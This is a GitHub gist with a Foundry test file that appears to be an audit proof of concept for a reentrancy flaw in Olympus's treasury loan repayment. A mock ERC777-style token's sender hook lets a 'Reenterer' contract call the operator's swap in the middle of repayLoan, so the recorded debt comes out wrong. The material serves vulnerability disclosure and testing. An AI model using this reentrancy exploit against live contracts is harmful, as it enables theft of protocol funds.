-
-
Save zzzitron/651e1451ac1ff21be8a72b502b26f7cb to your computer and use it in GitHub Desktop.
2022-08-olympus poc to reenter
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: Unlicense | |
pragma solidity >=0.8.0; | |
import {Test} from "forge-std/Test.sol"; | |
import {console2} from "forge-std/console2.sol"; | |
import {UserFactory} from "test/lib/UserFactory.sol"; | |
import {BondFixedTermCDA} from "test/lib/bonds/BondFixedTermCDA.sol"; | |
import {BondAggregator} from "test/lib/bonds/BondAggregator.sol"; | |
import {BondFixedTermTeller} from "test/lib/bonds/BondFixedTermTeller.sol"; | |
import {RolesAuthority, Authority as SolmateAuthority} from "solmate/auth/authorities/RolesAuthority.sol"; | |
import {ModuleTestFixtureGenerator} from "test/lib/ModuleTestFixtureGenerator.sol"; | |
import {MockERC20, ERC20} from "solmate/test/utils/mocks/MockERC20.sol"; | |
import {MockPrice} from "test/mocks/MockPrice.sol"; | |
import {IBondAuctioneer} from "interfaces/IBondAuctioneer.sol"; | |
import {IBondAggregator} from "interfaces/IBondAggregator.sol"; | |
import {FullMath} from "libraries/FullMath.sol"; | |
import "src/Kernel.sol"; | |
import {OlympusRange} from "modules/RANGE.sol"; | |
import {OlympusTreasury} from "modules/TRSRY.sol"; | |
import {OlympusMinter, OHM} from "modules/MINTR.sol"; | |
import {Operator} from "policies/Operator.sol"; | |
import {BondCallback} from "policies/BondCallback.sol"; | |
import {TreasuryCustodian} from "src/policies/TreasuryCustodian.sol"; | |
contract MockERC777 is MockERC20 { | |
constructor () MockERC20("ERC777", "777", 18) {} | |
function transferFrom(address from, address to, uint256 amount) public override returns (bool) { | |
_callTokenToSend(from, to, amount); | |
return super.transferFrom(from, to, amount); | |
// _callTokenReceived(from, to, amount); | |
} | |
// simplified implementation for ERC777 | |
function _callTokenToSend(address from, address to, uint256 amount) private { | |
if (from != address(0)) { | |
IERC777Sender(from).tokensToSend(from, to, amount); | |
} | |
} | |
} | |
interface IERC777Sender { | |
function tokensToSend(address from, address to, uint256 amount) external; | |
} | |
contract Reenterer is IERC777Sender { | |
ERC20 public token; | |
Operator public operator; | |
bool public entered; | |
constructor(address token_, Operator op_) { | |
token = ERC20(token_); | |
operator = op_; | |
} | |
function tokensToSend(address from, address to, uint256 amount) external override { | |
if (!entered) { | |
// call swap from reenter | |
// which will manipulate the balance of treasury | |
entered = true; | |
operator.swap(token, 1e17, 0); | |
} | |
} | |
function attack(OlympusTreasury treasury) public { | |
// approve to the treasury | |
token.approve(address(treasury), 1e18); | |
token.approve(address(operator), 100* 1e18); | |
// repayDebt of 1e17 | |
treasury.repayLoan(token, 1e17); | |
} | |
} | |
contract MockOhm is ERC20 { | |
constructor( | |
string memory _name, | |
string memory _symbol, | |
uint8 _decimals | |
) ERC20(_name, _symbol, _decimals) {} | |
function mint(address to, uint256 value) public virtual { | |
_mint(to, value); | |
} | |
function burnFrom(address from, uint256 value) public virtual { | |
_burn(from, value); | |
} | |
} | |
// solhint-disable-next-line max-states-count | |
contract PocReenterTest is Test { | |
using FullMath for uint256; | |
using ModuleTestFixtureGenerator for OlympusTreasury; | |
UserFactory public userCreator; | |
address internal alice; | |
address internal bob; | |
address internal guardian; | |
address internal policy; | |
address internal heart; | |
RolesAuthority internal auth; | |
BondAggregator internal aggregator; | |
BondFixedTermTeller internal teller; | |
BondFixedTermCDA internal auctioneer; | |
MockOhm internal ohm; | |
MockERC20 internal reserve; | |
Kernel internal kernel; | |
MockPrice internal price; | |
OlympusRange internal range; | |
OlympusTreasury internal treasury; | |
OlympusMinter internal minter; | |
MockERC20 public ngmi; | |
Operator internal operator; | |
BondCallback internal callback; | |
TreasuryCustodian internal custodian; | |
Reenterer internal reenterer; | |
function setUp() public { | |
vm.warp(51 * 365 * 24 * 60 * 60); // Set timestamp at roughly Jan 1, 2021 (51 years since Unix epoch) | |
userCreator = new UserFactory(); | |
{ | |
/// Deploy bond system to test against | |
address[] memory users = userCreator.create(5); | |
alice = users[0]; | |
bob = users[1]; | |
guardian = users[2]; | |
policy = users[3]; | |
heart = users[4]; | |
auth = new RolesAuthority(guardian, SolmateAuthority(address(0))); | |
/// Deploy the bond system | |
aggregator = new BondAggregator(guardian, auth); | |
teller = new BondFixedTermTeller(guardian, aggregator, guardian, auth); | |
auctioneer = new BondFixedTermCDA(teller, aggregator, guardian, auth); | |
/// Register auctioneer on the bond system | |
vm.prank(guardian); | |
aggregator.registerAuctioneer(auctioneer); | |
} | |
{ | |
/// Deploy mock tokens | |
ohm = new MockOhm("Olympus", "OHM", 9); | |
// use ERC777 kind of token as reserve | |
reserve = MockERC20(new MockERC777()); | |
} | |
{ | |
/// Deploy kernel | |
kernel = new Kernel(); // this contract will be the executor | |
/// Deploy modules (some mocks) | |
price = new MockPrice(kernel, uint48(8 hours)); | |
range = new OlympusRange( | |
kernel, | |
[ERC20(ohm), ERC20(reserve)], | |
[uint256(100), uint256(1000), uint256(2000)] | |
); | |
treasury = new OlympusTreasury(kernel); | |
minter = new OlympusMinter(kernel, address(ohm)); | |
/// Configure mocks | |
price.setMovingAverage(100 * 1e18); | |
price.setLastPrice(100 * 1e18); | |
price.setDecimals(18); | |
} | |
{ | |
/// Deploy bond callback | |
callback = new BondCallback(kernel, IBondAggregator(address(aggregator)), ohm); | |
/// Deploy operator | |
operator = new Operator( | |
kernel, | |
IBondAuctioneer(address(auctioneer)), | |
callback, | |
[ERC20(ohm), ERC20(reserve)], | |
[ | |
uint32(2000), // cushionFactor | |
uint32(5 days), // duration | |
uint32(100_000), // debtBuffer | |
uint32(1 hours), // depositInterval | |
uint32(1000), // reserveFactor | |
uint32(1 hours), // regenWait | |
uint32(5), // regenThreshold | |
uint32(7) // regenObserve | |
] | |
); | |
/// Registor operator to create bond markets with a callback | |
vm.prank(guardian); | |
auctioneer.setCallbackAuthStatus(address(operator), true); | |
/// Deploy treasury custodian | |
custodian = new TreasuryCustodian(kernel); | |
} | |
{ | |
/// Initialize system and kernel | |
/// Install modules | |
kernel.executeAction(Actions.InstallModule, address(price)); | |
kernel.executeAction(Actions.InstallModule, address(range)); | |
kernel.executeAction(Actions.InstallModule, address(treasury)); | |
kernel.executeAction(Actions.InstallModule, address(minter)); | |
/// Approve policies | |
kernel.executeAction(Actions.ActivatePolicy, address(operator)); | |
kernel.executeAction(Actions.ActivatePolicy, address(callback)); | |
kernel.executeAction(Actions.ActivatePolicy, address(custodian)); | |
} | |
{ | |
/// Configure access control | |
/// Operator roles | |
kernel.grantRole(toRole("operator_operate"), address(heart)); | |
kernel.grantRole(toRole("operator_operate"), guardian); | |
kernel.grantRole(toRole("operator_reporter"), address(callback)); | |
kernel.grantRole(toRole("operator_policy"), policy); | |
kernel.grantRole(toRole("operator_admin"), guardian); | |
/// Bond callback roles | |
kernel.grantRole(toRole("callback_whitelist"), address(operator)); | |
kernel.grantRole(toRole("callback_whitelist"), guardian); | |
kernel.grantRole(toRole("callback_admin"), guardian); | |
/// treasury custodian role | |
kernel.grantRole(toRole("custodian"), address(this)); | |
} | |
/// Set operator on the callback | |
vm.prank(guardian); | |
callback.setOperator(operator); | |
// Mint tokens to users and treasury for testing | |
uint256 testOhm = 1_000_000 * 1e9; | |
uint256 testReserve = 1_000_000 * 1e18; | |
ohm.mint(alice, testOhm * 20); | |
reserve.mint(alice, testReserve * 20); | |
reserve.mint(address(treasury), testReserve * 100); | |
// Approve the operator and bond teller for the tokens to swap | |
vm.prank(alice); | |
ohm.approve(address(operator), testOhm * 20); | |
vm.prank(alice); | |
reserve.approve(address(operator), testReserve * 20); | |
vm.prank(alice); | |
ohm.approve(address(teller), testOhm * 20); | |
vm.prank(alice); | |
reserve.approve(address(teller), testReserve * 20); | |
/// set debt | |
{ | |
reenterer = new Reenterer(address(reserve), operator); | |
custodian.increaseDebt(reserve, address(reenterer), 1e18); | |
} | |
} | |
function test_poc__reenter() public { | |
vm.prank(guardian); | |
operator.initialize(); | |
reserve.mint(address(reenterer), 1e18); | |
assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18); | |
// start repayLoan | |
reenterer.attack(treasury); | |
// it should be 9 * 1e17 but it is 8 * 1e17 | |
assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment